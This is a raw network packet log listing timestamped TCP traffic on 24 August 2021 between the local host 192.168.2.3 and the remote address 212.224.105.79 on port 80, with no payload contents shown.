Aug 24, 2021 14:01:33.333311081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333334923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333337069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333360910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333364010 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333378077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333389997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333412886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333424091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.333434105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.333806038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.340020895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.340111971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.340157986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.340208054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.356616020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356652975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356671095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356688976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356709957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356733084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356754065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356771946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356791973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356812000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356817961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.356827974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356848955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356868029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356889963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356894016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.356911898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356931925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.356934071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356952906 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.356955051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356976032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.356997967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.357000113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.357023954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.357045889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.357059956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.362083912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.362119913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.362221956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.363301992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.363322973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.363390923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.379354954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379405022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379441977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379482031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379501104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.379520893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379544020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.379558086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:33.379560947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379621983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:33.379676104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.049423933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.049510956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.074347019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.096621990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.180660009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.180699110 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.202809095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.226949930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.299169064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.303622961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.325417042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.348664999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.449968100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.450004101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.472302914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.496056080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.542443991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.597403049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.597435951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.620157003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.644891977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.698930025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.734159946 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.734265089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.758536100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.783371925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.841162920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.919964075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.919998884 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:34.942446947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:34.967175961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.032970905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.033046007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.054876089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.079837084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.092912912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.093019962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.116127968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.140077114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.229973078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.236877918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.236968040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.259305954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336590052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336613894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336631060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336647034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336666107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336683035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336698055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336703062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336713076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336729050 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336730003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336745977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336755991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336761951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336776972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336786985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336796999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336812973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336819887 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336828947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336844921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.336848974 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.336905003 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.358994007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359019995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359039068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359054089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359071016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359083891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359086990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359098911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359122992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359133959 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359141111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359155893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359164953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359174967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359191895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359206915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359210014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359220028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359236956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359256029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359256983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359272957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359287977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359294891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359302998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359316111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359334946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359334946 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359353065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359364986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359368086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359384060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359400034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359405994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359415054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359431028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359441042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359442949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359457970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359473944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359483004 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359491110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359507084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.359519958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.359555960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.382816076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382839918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382852077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382872105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382889032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382905960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382921934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382936954 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382936954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.382952929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382967949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.382983923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383002043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383004904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383018970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383033991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383037090 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383050919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383065939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383080959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383084059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383096933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383111000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383122921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383138895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383142948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383162022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383178949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383193970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383204937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383210897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383227110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383241892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383253098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383268118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383276939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383285046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383300066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383315086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383333921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383348942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383349895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383364916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383380890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383395910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383402109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383410931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383426905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383434057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383443117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383462906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383465052 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383480072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383496046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383500099 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383512020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383527994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383543015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383543968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383558989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383574009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383584976 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383593082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383609056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383619070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383625031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383641005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383656025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383656025 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383671045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383683920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383687019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383702040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383712053 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383722067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383738041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383754015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383754015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383769989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383785009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383785963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383800030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383815050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383821011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383831024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383848906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383850098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383866072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.383889914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.383938074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.384167910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.405977964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.405999899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406018019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406033039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406049013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406050920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406064034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406078100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406083107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406100035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406116009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406116009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406131983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406138897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406147957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406162977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406169891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406178951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406194925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406204939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406213999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406230927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406234980 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406246901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406263113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406279087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406286955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406292915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406308889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406322002 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406323910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406342983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406349897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406361103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406369925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406377077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406392097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406408072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406413078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406434059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406449080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406450987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406469107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406471968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406486034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406501055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406508923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406517029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406532049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406547070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406547070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406563044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406569958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406579018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406598091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406615019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406618118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406630993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406646967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406656027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406662941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406677961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406680107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406693935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406704903 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406709909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406728983 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406738043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406745911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406760931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.406769991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.406778097 CEST	80	49723	212.224.105.79	192.168.2.3
